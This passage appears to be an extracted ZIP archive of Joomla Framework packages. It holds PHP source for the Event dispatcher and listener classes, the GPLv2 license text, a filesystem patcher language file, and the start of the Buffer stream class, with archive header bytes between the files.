* @return Dispatcher This method is chainable.
*
* @since 1.0
* @deprecated 1.1.0 Incorporate a method in your listener object such
as `getEvents` to feed into the `setListener` method.
*/
public function setListenerFilter($regex)
{
$this->listenerFilter = $regex;
return $this;
}
/**
* Add an event to this dispatcher, only if it is not existing.
*
* @param EventInterface $event The event.
*
* @return Dispatcher This method is chainable.
*
* @since 1.0
*/
public function addEvent(EventInterface $event)
{
if (!isset($this->events[$event->getName()]))
{
$this->events[$event->getName()] = $event;
}
return $this;
}
/**
* Tell if the given event has been added to this dispatcher.
*
* @param EventInterface|string $event The event object or name.
*
* @return boolean True if the listener has the given event, false
otherwise.
*
* @since 1.0
*/
public function hasEvent($event)
{
if ($event instanceof EventInterface)
{
$event = $event->getName();
}
return isset($this->events[$event]);
}
/**
* Get the event object identified by the given name.
*
* @param string $name The event name.
* @param mixed $default The default value if the event was not
registered.
*
* @return EventInterface|mixed The event of the default value.
*
* @since 1.0
*/
public function getEvent($name, $default = null)
{
if (isset($this->events[$name]))
{
return $this->events[$name];
}
return $default;
}
/**
* Remove an event from this dispatcher.
* The registered listeners will remain.
*
* @param EventInterface|string $event The event object or name.
*
* @return Dispatcher This method is chainable.
*
* @since 1.0
*/
public function removeEvent($event)
{
if ($event instanceof EventInterface)
{
$event = $event->getName();
}
if (isset($this->events[$event]))
{
unset($this->events[$event]);
}
return $this;
}
/**
* Get the registered events.
*
* @return EventInterface[] The registered event.
*
* @since 1.0
*/
public function getEvents()
{
return $this->events;
}
/**
* Clear all events.
*
* @return EventInterface[] The old events.
*
* @since 1.0
*/
public function clearEvents()
{
$events = $this->events;
$this->events = array();
return $events;
}
/**
* Count the number of registered event.
*
* @return integer The numer of registered events.
*
* @since 1.0
*/
public function countEvents()
{
return \count($this->events);
}
/**
* Add a listener to this dispatcher, only if not already registered to
these events.
* If no events are specified, it will be registered to all events
matching it's methods name.
* In the case of a closure, you must specify at least one event name.
*
* @param object|Closure $listener The listener
* @param array $events An associative array of event names
as keys
* and the corresponding listener
priority as values.
*
* @return Dispatcher This method is chainable.
*
* @throws InvalidArgumentException
*
* @since 1.0
*/
public function addListener($listener, array $events = array())
{
if (!\is_object($listener))
{
throw new InvalidArgumentException('The given listener is not an
object.');
}
// We deal with a closure.
if ($listener instanceof Closure)
{
if (empty($events))
{
throw new InvalidArgumentException('No event name(s) and priority
specified for the Closure listener.');
}
foreach ($events as $name => $priority)
{
if (!isset($this->listeners[$name]))
{
$this->listeners[$name] = new ListenersPriorityQueue;
}
$this->listeners[$name]->add($listener, $priority);
}
return $this;
}
// We deal with a "normal" object.
$methods = get_class_methods($listener);
if (!empty($events))
{
$methods = array_intersect($methods, array_keys($events));
}
// @deprecated
$regex = $this->listenerFilter ?: '.*';
foreach ($methods as $event)
{
// @deprecated - this outer `if` is deprecated.
if (preg_match("#$regex#", $event))
{
// Retain this inner code after removal of the outer `if`.
if (!isset($this->listeners[$event]))
{
$this->listeners[$event] = new ListenersPriorityQueue;
}
$priority = isset($events[$event]) ? $events[$event] :
Priority::NORMAL;
$this->listeners[$event]->add($listener, $priority);
}
}
return $this;
}
/**
* Get the priority of the given listener for the given event.
*
* @param object|Closure $listener The listener.
* @param EventInterface|string $event The event object or name.
*
* @return mixed The listener priority or null if the listener
doesn't exist.
*
* @since 1.0
*/
public function getListenerPriority($listener, $event)
{
if ($event instanceof EventInterface)
{
$event = $event->getName();
}
if (isset($this->listeners[$event]))
{
return $this->listeners[$event]->getPriority($listener);
}
}
/**
* Get the listeners registered to the given event.
*
* @param EventInterface|string $event The event object or name.
*
* @return object[] An array of registered listeners sorted according to
their priorities.
*
* @since 1.0
*/
public function getListeners($event)
{
if ($event instanceof EventInterface)
{
$event = $event->getName();
}
if (isset($this->listeners[$event]))
{
return $this->listeners[$event]->getAll();
}
return array();
}
/**
* Tell if the given listener has been added.
* If an event is specified, it will tell if the listener is registered
for that event.
*
* @param object|Closure $listener The listener.
* @param EventInterface|string $event The event object or name.
*
* @return boolean True if the listener is registered, false otherwise.
*
* @since 1.0
*/
public function hasListener($listener, $event = null)
{
if ($event)
{
if ($event instanceof EventInterface)
{
$event = $event->getName();
}
if (isset($this->listeners[$event]))
{
return $this->listeners[$event]->has($listener);
}
}
else
{
foreach ($this->listeners as $queue)
{
if ($queue->has($listener))
{
return true;
}
}
}
return false;
}
/**
* Remove the given listener from this dispatcher.
* If no event is specified, it will be removed from all events it is
listening to.
*
* @param object|Closure $listener The listener to remove.
* @param EventInterface|string $event The event object or name.
*
* @return Dispatcher This method is chainable.
*
* @since 1.0
*/
public function removeListener($listener, $event = null)
{
if ($event)
{
if ($event instanceof EventInterface)
{
$event = $event->getName();
}
if (isset($this->listeners[$event]))
{
$this->listeners[$event]->remove($listener);
}
}
else
{
foreach ($this->listeners as $queue)
{
$queue->remove($listener);
}
}
return $this;
}
/**
* Clear the listeners in this dispatcher.
* If an event is specified, the listeners will be cleared only for that
event.
*
* @param EventInterface|string $event The event object or name.
*
* @return Dispatcher This method is chainable.
*
* @since 1.0
*/
public function clearListeners($event = null)
{
if ($event)
{
if ($event instanceof EventInterface)
{
$event = $event->getName();
}
if (isset($this->listeners[$event]))
{
unset($this->listeners[$event]);
}
}
else
{
$this->listeners = array();
}
return $this;
}
/**
* Count the number of registered listeners for the given event.
*
* @param EventInterface|string $event The event object or name.
*
* @return integer The number of registered listeners for the given
event.
*
* @since 1.0
*/
public function countListeners($event)
{
if ($event instanceof EventInterface)
{
$event = $event->getName();
}
return isset($this->listeners[$event]) ?
\count($this->listeners[$event]) : 0;
}
/**
* Trigger an event.
*
* @param EventInterface|string $event The event object or name.
*
* @return EventInterface The event after being passed through all
listeners.
*
* @since 1.0
*/
public function triggerEvent($event)
{
if (!($event instanceof EventInterface))
{
if (isset($this->events[$event]))
{
$event = $this->events[$event];
}
else
{
$event = new Event($event);
}
}
if (isset($this->listeners[$event->getName()]))
{
foreach ($this->listeners[$event->getName()] as $listener)
{
if ($event->isStopped())
{
return $event;
}
if ($listener instanceof Closure)
{
\call_user_func($listener, $event);
}
else
{
\call_user_func(array($listener, $event->getName()), $event);
}
}
}
return $event;
}
}
PK�[$�����&event/src/DispatcherAwareInterface.phpnu�[���<?php
/**
* Part of the Joomla Framework Event Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Event;
/**
* Interface to be implemented by classes depending on a dispatcher.
*
* @since 1.0
*/
interface DispatcherAwareInterface
{
/**
* Set the dispatcher to use.
*
* @param DispatcherInterface $dispatcher The dispatcher to use.
*
* @return DispatcherAwareInterface This method is chainable.
*
* @since 1.0
*/
public function setDispatcher(DispatcherInterface $dispatcher);
}
PK�[C�aa"event/src/DispatcherAwareTrait.phpnu�[���<?php
/**
* Part of the Joomla Framework Event Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Event;
/**
* Defines the trait for a Dispatcher Aware Class.
*
* @since 1.2.0
*/
trait DispatcherAwareTrait
{
/**
* Event Dispatcher
*
* @var DispatcherInterface
* @since 1.2.0
*/
private $dispatcher;
/**
* Get the event dispatcher.
*
* @return DispatcherInterface
*
* @since 1.2.0
* @throws \UnexpectedValueException May be thrown if the dispatcher has
not been set.
*/
public function getDispatcher()
{
if ($this->dispatcher)
{
return $this->dispatcher;
}
throw new \UnexpectedValueException('Dispatcher not set in ' .
__CLASS__);
}
/**
* Set the dispatcher to use.
*
* @param DispatcherInterface $dispatcher The dispatcher to use.
*
* @return $this
*
* @since 1.2.0
*/
public function setDispatcher(DispatcherInterface $dispatcher)
{
$this->dispatcher = $dispatcher;
return $this;
}
}
PK�[��VV!event/src/DispatcherInterface.phpnu�[���<?php
/**
* Part of the Joomla Framework Event Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Event;
/**
* Interface for event dispatchers.
*
* @since 1.0
*/
interface DispatcherInterface
{
/**
* Trigger an event.
*
* @param EventInterface|string $event The event object or name.
*
* @return EventInterface The event after being passed through all
listeners.
*
* @since 1.0
*/
public function triggerEvent($event);
}
PK�[l�Y�
event/src/Event.phpnu�[���<?php
/**
* Part of the Joomla Framework Event Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Event;
use InvalidArgumentException;
/**
* Default Event class.
*
* @since 1.0
*/
class Event extends AbstractEvent
{
/**
* Add an event argument, only if it is not existing.
*
* @param string $name The argument name.
* @param mixed $value The argument value.
*
* @return Event This method is chainable.
*
* @since 1.0
*/
public function addArgument($name, $value)
{
if (!isset($this->arguments[$name]))
{
$this->arguments[$name] = $value;
}
return $this;
}
/**
* Set the value of an event argument.
* If the argument already exists, it will be overridden.
*
* @param string $name The argument name.
* @param mixed $value The argument value.
*
* @return Event This method is chainable.
*
* @since 1.0
*/
public function setArgument($name, $value)
{
$this->arguments[$name] = $value;
return $this;
}
/**
* Remove an event argument.
*
* @param string $name The argument name.
*
* @return mixed The old argument value or null if it is not existing.
*
* @since 1.0
*/
public function removeArgument($name)
{
$return = null;
if (isset($this->arguments[$name]))
{
$return = $this->arguments[$name];
unset($this->arguments[$name]);
}
return $return;
}
/**
* Clear all event arguments.
*
* @return array The old arguments.
*
* @since 1.0
*/
public function clearArguments()
{
$arguments = $this->arguments;
$this->arguments = array();
return $arguments;
}
/**
* Stop the event propagation.
*
* @return void
*
* @since 1.0
*/
public function stop()
{
$this->stopped = true;
}
/**
* Set the value of an event argument.
*
* @param string $name The argument name.
* @param mixed $value The argument value.
*
* @return void
*
* @throws InvalidArgumentException If the argument name is null.
*
* @since 1.0
*/
public function offsetSet($name, $value)
{
if ($name === null)
{
throw new InvalidArgumentException('The argument name cannot be
null.');
}
$this->setArgument($name, $value);
}
/**
* Remove an event argument.
*
* @param string $name The argument name.
*
* @return void
*
* @since 1.0
*/
public function offsetUnset($name)
{
$this->removeArgument($name);
}
}
PK�[�&�� event/src/EventImmutable.phpnu�[���<?php
/**
* Part of the Joomla Framework Event Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Event;
use BadMethodCallException;
/**
* Implementation of an immutable Event.
* An immutable event cannot be modified after instanciation :
*
* - its propagation cannot be stopped
* - its arguments cannot be modified
*
* You may want to use this event when you want to ensure that
* the listeners won't manipulate it.
*
* @since 1.0
*/
final class EventImmutable extends AbstractEvent
{
/**
* A flag to see if the constructor has been
* already called.
*
* @var boolean
*/
private $constructed = false;
/**
* Constructor.
*
* @param string $name The event name.
* @param array $arguments The event arguments.
*
* @throws BadMethodCallException
*
* @since 1.0
*/
public function __construct($name, array $arguments = array())
{
if ($this->constructed)
{
throw new BadMethodCallException(
sprintf('Cannot reconstruct the EventImmutable %s.',
$this->name)
);
}
$this->constructed = true;
parent::__construct($name, $arguments);
}
/**
* Set the value of an event argument.
*
* @param string $name The argument name.
* @param mixed $value The argument value.
*
* @return void
*
* @throws BadMethodCallException
*
* @since 1.0
*/
public function offsetSet($name, $value)
{
throw new BadMethodCallException(
sprintf(
'Cannot set the argument %s of the immutable event %s.',
$name,
$this->name
)
);
}
/**
* Remove an event argument.
*
* @param string $name The argument name.
*
* @return void
*
* @throws BadMethodCallException
*
* @since 1.0
*/
public function offsetUnset($name)
{
throw new BadMethodCallException(
sprintf(
'Cannot remove the argument %s of the immutable event %s.',
$name,
$this->name
)
);
}
}
PK�[�C_���event/src/EventInterface.phpnu�[���<?php
/**
* Part of the Joomla Framework Event Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Event;
/**
* Interface for events.
* An event has a name and its propagation can be stopped (if the
implementation supports it).
*
* @since 1.0
*/
interface EventInterface
{
/**
* Get the event name.
*
* @return string The event name.
*
* @since 1.0
*/
public function getName();
/**
* Tell if the event propagation is stopped.
*
* @return boolean True if stopped, false otherwise.
*
* @since 1.0
*/
public function isStopped();
}
PKą�[�H�vv$event/src/ListenersPriorityQueue.phpnu�[���<?php
/**
* Part of the Joomla Framework Event Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Event;
use Countable;
use IteratorAggregate;
use SplObjectStorage;
use SplPriorityQueue;
/**
* A class containing an inner listeners priority queue that can be
iterated multiple times.
* One instance of ListenersPriorityQueue is used per Event in the
Dispatcher.
*
* @since 1.0
*/
class ListenersPriorityQueue implements IteratorAggregate, Countable
{
/**
* The inner priority queue.
*
* @var SplPriorityQueue
*
* @since 1.0
*/
protected $queue;
/**
* A copy of the listeners contained in the queue
* that is used when detaching them to
* recreate the queue or to see if the queue contains
* a given listener.
*
* @var SplObjectStorage
*
* @since 1.0
*/
protected $storage;
/**
* A decreasing counter used to compute
* the internal priority as an array because
* SplPriorityQueue dequeues elements with the same priority.
*
* @var integer
*
* @since 1.0
*/
private $counter = PHP_INT_MAX;
/**
* Constructor.
*
* @since 1.0
*/
public function __construct()
{
$this->queue = new SplPriorityQueue;
$this->storage = new SplObjectStorage;
}
/**
* Add a listener with the given priority only if not already present.
*
* @param \Closure|object $listener The listener.
* @param integer $priority The listener priority.
*
* @return ListenersPriorityQueue This method is chainable.
*
* @since 1.0
*/
public function add($listener, $priority)
{
if (!$this->storage->contains($listener))
{
// Compute the internal priority as an array.
$priority = array($priority, $this->counter--);
$this->storage->attach($listener, $priority);
$this->queue->insert($listener, $priority);
}
return $this;
}
/**
* Remove a listener from the queue.
*
* @param \Closure|object $listener The listener.
*
* @return ListenersPriorityQueue This method is chainable.
*
* @since 1.0
*/
public function remove($listener)
{
if ($this->storage->contains($listener))
{
$this->storage->detach($listener);
$this->storage->rewind();
$this->queue = new SplPriorityQueue;
foreach ($this->storage as $listener)
{
$priority = $this->storage->getInfo();
$this->queue->insert($listener, $priority);
}
}
return $this;
}
/**
* Tell if the listener exists in the queue.
*
* @param \Closure|object $listener The listener.
*
* @return boolean True if it exists, false otherwise.
*
* @since 1.0
*/
public function has($listener)
{
return $this->storage->contains($listener);
}
/**
* Get the priority of the given listener.
*
* @param \Closure|object $listener The listener.
* @param mixed $default The default value to return if the
listener doesn't exist.
*
* @return mixed The listener priority if it exists, null otherwise.
*
* @since 1.0
*/
public function getPriority($listener, $default = null)
{
if ($this->storage->contains($listener))
{
return $this->storage[$listener][0];
}
return $default;
}
/**
* Get all listeners contained in this queue, sorted according to their
priority.
*
* @return object[] An array of listeners.
*
* @since 1.0
*/
public function getAll()
{
$listeners = array();
// Get a clone of the queue.
$queue = $this->getIterator();
foreach ($queue as $listener)
{
$listeners[] = $listener;
}
return $listeners;
}
/**
* Get the inner queue with its cursor on top of the heap.
*
* @return SplPriorityQueue The inner queue.
*
* @since 1.0
*/
public function getIterator()
{
// SplPriorityQueue queue is a heap.
$queue = clone $this->queue;
if (!$queue->isEmpty())
{
$queue->top();
}
return $queue;
}
/**
* Count the number of listeners in the queue.
*
* @return integer The number of listeners in the queue.
*
* @since 1.0
*/
public function count()
{
return \count($this->queue);
}
}
PKą�[K�a�[[event/src/Priority.phpnu�[���<?php
/**
* Part of the Joomla Framework Event Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Event;
/**
* An enumeration of priorities for event listeners,
* that you are encouraged to use when adding them in the Dispatcher.
*
* @since 1.0
*/
final class Priority
{
const MIN = -3;
const LOW = -2;
const BELOW_NORMAL = -1;
const NORMAL = 0;
const ABOVE_NORMAL = 1;
const HIGH = 2;
const MAX = 3;
}
PKą�[�P�E�Efilesystem/LICENSEnu�[���GNU GENERAL
PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PKą�[������Ffilesystem/meta/language/en-GB/en-GB.lib_joomla_filesystem_patcher.ininu�[���;
Joomla! Project
; Copyright (C) 2005 - 2016 Open Source Matters. All rights reserved.
; License GNU General Public License version 2 or later; see LICENSE.txt
; Note : All ini files need to be saved as UTF-8 - No BOM
JLIB_FILESYSTEM_PATCHER_FAILED_VERIFY="Failed source verification of
file %s at line %d"
JLIB_FILESYSTEM_PATCHER_INVALID_DIFF="Invalid unified diff block"
JLIB_FILESYSTEM_PATCHER_INVALID_INPUT="Invalid input"
JLIB_FILESYSTEM_PATCHER_UNEXISING_SOURCE="Unexisting source file"
JLIB_FILESYSTEM_PATCHER_UNEXPECTED_ADD_LINE="Unexpected add line at
line %d'"
JLIB_FILESYSTEM_PATCHER_UNEXPECTED_EOF="Unexpected end of file"
JLIB_FILESYSTEM_PATCHER_UNEXPECTED_REMOVE_LINE="Unexpected remove line
at line %d"
PKą�[�G�hhfilesystem/src/Buffer.phpnu�[���<?php
/**
* Part of the Joomla Framework Filesystem Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filesystem;
/**
* Generic Buffer stream handler
*
* This class provides a generic buffer stream. It can be used to
store/retrieve/manipulate
* string buffers with the standard PHP filesystem I/O methods.
*
* @since 1.0
*/
class Buffer
{
/**
* Stream position
*
* @var integer
* @since 1.0
*/
public $position = 0;
/**
* Buffer name
*
* @var string
* @since 1.0
*/
public $name;
/**
* Buffer hash
*
* @var array
* @since 1.0
*/
public $buffers = array();
/**
* Function to open file or url
*
* @param string $path The URL that was passed
* @param string $mode Mode used to open the file @see fopen
* @param integer $options Flags used by the API, may be
STREAM_USE_PATH and STREAM_REPORT_ERRORS
* @param string $openedPath Full path of the resource. Used with
STREAN_USE_PATH option
*
* @return boolean
*
* @since 1.0
* @see streamWrapper::stream_open
*/
public function stream_open($path, $mode, $options, &$openedPath)
{
$url = parse_url($path);
$this->name = $url['host'];
$this->buffers[$this->name] = null;
$this->position = 0;
return true;
}
/**
* Read stream
*
* @param integer $count How many bytes of data from the current
position should be returned.
*
* @return mixed The data from the stream up to the specified number
of bytes (all data if
* the total number of bytes in the stream is less than
$count. Null if
* the stream is empty.
*
* @see streamWrapper::stream_read
* @since 1.0
*/
public function stream_read($count)
{
